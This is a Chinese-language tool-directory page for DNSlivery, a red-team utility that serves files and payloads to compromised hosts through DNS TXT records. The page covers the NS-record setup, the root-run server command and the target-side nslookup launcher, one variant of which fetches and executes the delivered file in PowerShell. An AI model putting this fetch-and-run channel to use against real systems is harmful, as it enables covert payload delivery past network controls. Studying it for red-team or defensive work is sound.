Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNSlivery — 通过 DNS 轻松传递文件和载荷 | Kitploit
工具/GitHubGitHub/samybaiwir/dnslivery
数据泄露渗透测试命令与控制红队DNS 分析
GitHubsamybaiwir/dnslivery

DNSlivery

通过 DNS 轻松传递文件和载荷

查看仓库
4267798个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

python-3.7 Known Vulnerabilities

DNSlivery

通过 DNS 轻松传递文件和载荷。

  • DNSlivery
  • 致谢
  • 描述
    • TL;DR
    • 你想解决什么问题?
    • 它是如何工作的?
    • 要求
  • 设置
    • DNS 区域
    • DNSlivery
  • 使用方法
    • 服务器
    • 目标

致谢

本项目最初受到 PowerDNS 和 Joff Thyer 在 Paul's Security Weekly 播客第 590 期(youtu.be/CP6cIwFJswQ)中的技术环节的启发。

描述

TL;DR

DNSlivery 允许使用 DNS 作为传输协议向目标传递文件。

功能:

  • 允许在目标上打印、执行或保存文件
  • 不需要在目标上安装任何客户端
  • 不需要完整的 DNS 服务器

demo-target.git

你想解决什么问题?

在经典 Web 传递不可行且无需专用客户端软件的情况下,轻松向已入侵的目标传递文件和/或载荷。这适用于出站 Web 流量被禁止或仅被好奇的 Web 代理检查的受限环境。

web-delivery-blocked.png

尽管已有更完整的 DNS 隧道工具(例如 dnscat2 和 iodine),但它们都要求在目标上运行专用客户端。问题在于,在这种受限环境中,除了 DNS 之外可能没有其他方式传递客户端。换句话说,使用这些工具建立 DNS 通信通道需要已经拥有一个 DNS 通信通道。

相比之下,DNSlivery 仅提供从服务器到目标的单向通信,但不需要任何专用客户端即可实现。因此,如果你需要通过 DNS 建立可靠的双向通信通道,请使用 DNSlivery 将更高级 DNS 隧道工具的客户端传递到目标。

它是如何工作的?

与大多数 DNS 隧道工具一样,DNSlivery 使用 TXT 记录以 base64 表示形式存储文件内容。然而,它不需要设置完整的 DNS 服务器即可工作。相反,它使用 scapy 库监听传入的 DNS 数据包并构造所需的响应。

network-process.png

由于大多数文件无法容纳在单个 TXT 记录中,DNSlivery 将创建多个有序记录,其中包含文件的 base64 分块。例如,上图说明了名为 file 的文件第 42 个分块的传递过程。

为了检索所有 base64 分块并在不需要目标上专用客户端的情况下将它们重新组合,DNSlivery 将为每个文件生成:

  • 一个简单的明文启动器
  • 一个可靠的 base64 编码暂存器

two-stages-delivery.png

这种两阶段传递过程是必要的,以便为暂存器添加功能(例如处理丢失的 DNS 响应),否则这些功能无法容纳在单个 TXT 记录中。

关于目标兼容性的说明

目前仅支持 PowerShell 目标。但是,DNSlivery 可以改进以支持其他目标,例如 bash 或 python。如果你想看到此功能被实现,请告诉我 @no0be。

要求

DNSlivery 不需要构建复杂的服务器基础设施。事实上,只有两个简单的要求:

  • 能够在你的公共 DNS 区域中创建 NS 记录
  • 拥有一台能够从互联网接收 udp/53 流量的 Linux 服务器

设置

DNS 区域

第一步是通过在你的域中创建新的 NS 记录,将子域委派给运行 DNSlivery 的服务器。例如,我创建了以下记录,将子域 dnsd.no0.be 委派给位于 vps.no0.be 的服务器。

root@kitploit:~
dnsd    IN  NS vps.no0.be.

如果你的区域由第三方提供商管理,请参阅其文档以创建 NS 记录。

DNSlivery

运行 DNSlivery 的唯一要求是 python3 及其 scapy 库。

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

使用方法

服务器

DNSlivery 将提供给定目录(默认为 pwd)中的所有文件,并且需要以 root 权限运行以监听传入的 udp/53 数据包。

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

示例:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

关于文件名规范化的说明

由于域名允许的字符集比 UNIX 文件名(根据 RFC1035)限制更严格,DNSlivery 将在需要时执行规范化。

示例:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

请注意,当前的规范化代码并不完美,因为它没有考虑文件名重叠或大小限制。

目标

在目标上,首先通过请求所需文件的专用 TXT 记录来检索启动器。支持以下三种启动器:

操作启动器
root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

然后,只需将 DNS 响应中引用的启动器复制并粘贴到 PowerShell 控制台即可在目标上检索文件。

示例:

demo-target.git

下载工具
描述
打印[filename].print.[domain](默认)将传递的文件打印到控制台
执行[filename].exec.[domain]执行传递的文件(对脚本有用)
保存[filename].save.[domain]将传递的文件保存到磁盘(对二进制文件有用)